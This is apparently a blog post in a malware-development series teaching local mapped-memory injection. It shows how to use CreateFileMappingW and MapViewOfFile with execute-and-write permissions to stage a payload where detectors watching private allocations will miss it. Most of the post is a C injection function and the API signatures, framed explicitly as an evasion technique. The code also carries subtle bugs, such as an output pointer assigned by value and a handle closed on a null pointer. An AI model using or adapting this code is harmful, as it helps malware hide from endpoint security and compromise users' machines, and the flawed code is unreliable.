Malware Development: Crafting Digital Chaos 0x9: Private vs Mapped memory

3 minute read

Private vs Mapped memory

Usually and for the wide use of API calls such as VirtualAlloc() and VirtualAllocEx() and as the memory allocation type of these API calls is Private memory, the detection is becoming very high and thus it is mandatory to find an evasion technique.

Another type of Injection can be Mapping Injection, or in other words injecting malicious code in Mapped memory sections, and this way we can avoid using the API calls we mentioned above and use API calls such as CreateFileMapping and MapViewOfFile.

Payload Injection in Mapped regions

CreateFileMapping

This API call return a handle to a file object, and the contents of the file on disk are mapped to a memory region.

HANDLE CreateFileMappingW(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCWSTR               lpName
);

Important Parameters

[in] hFile

A handle to the file from which to create a file mapping object.

[in] flProtect

Specifies the page protection of the file mapping object. All mapped views of the object must be compatible with this protection.

We usually use PAGE_EXECUTE_READWRITE here.

[in] dwMaximumSizeLow

The low-order DWORD of the maximum size of the file mapping object.

MapViewofFile

This API call maps a view of a file mapping into the address space of a calling process.

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);

Important parameters

[in] hFileMappingObject

A handle to a file mapping object. The CreateFileMapping and OpenFileMapping functions return this handle

[in] dwDesiredAccess

The type of access to a file mapping object, which determines the page protection of the pages.

We usually use FILE_MAP_EXECUTE and FILE_MAP_WRITE because we obviously need a writeable and executable memory region.

[in] dwNumberOfBytesToMap

The number of bytes of a file mapping to map to the view

Performing Injection to a Mapped memory

Here is the function that we will be using to perform the injection

BOOL LocalMapping(IN PBYTE pPayload, IN size_t pPayloadSize, OUT PVOID pAddress) {

    HANDLE hFile = NULL;
    PVOID pMapAddress = NULL;


    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, pPayloadSize, NULL);

    if (hFile == NULL) {
        printf("CreateFileMapping failed with error %d", GetLastError());
        CloseHandle(hFile);
        return 0;
    }

    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, pPayloadSize);

    if (pMapAddress == NULL) {

        printf("MapViewofFile failed with error %d", GetLastError());
        CloseHandle(pMapAddress);
        return 0;
    }

    memcpy(pMapAddress, pPayload, pPayloadSize);
    pAddress = pMapAddress;
    return 1;
}

The code above implements what is called local mapped memory injection by creating an executable and writable memory region and then mapping it into the process’s address space

Then copying the payload into this mapped memory. here CreateFileMappingW is used to create a memory-mapped file object and MapViewOfFile to map this object into memory with PAGE_EXECUTE_READWRITE permissions. The payload is then copied into the allocated memory using memcpy.

Executing

Lets execute and examine the memory regions after copying the payload.

We set a breakpoint after the memcpy.

P0

And we can check the memory region type also by using Process Hacker.

P1

As we can see, the memory is Mapped not Private, which helps us in improving our evasion technique and appearing more legitimate.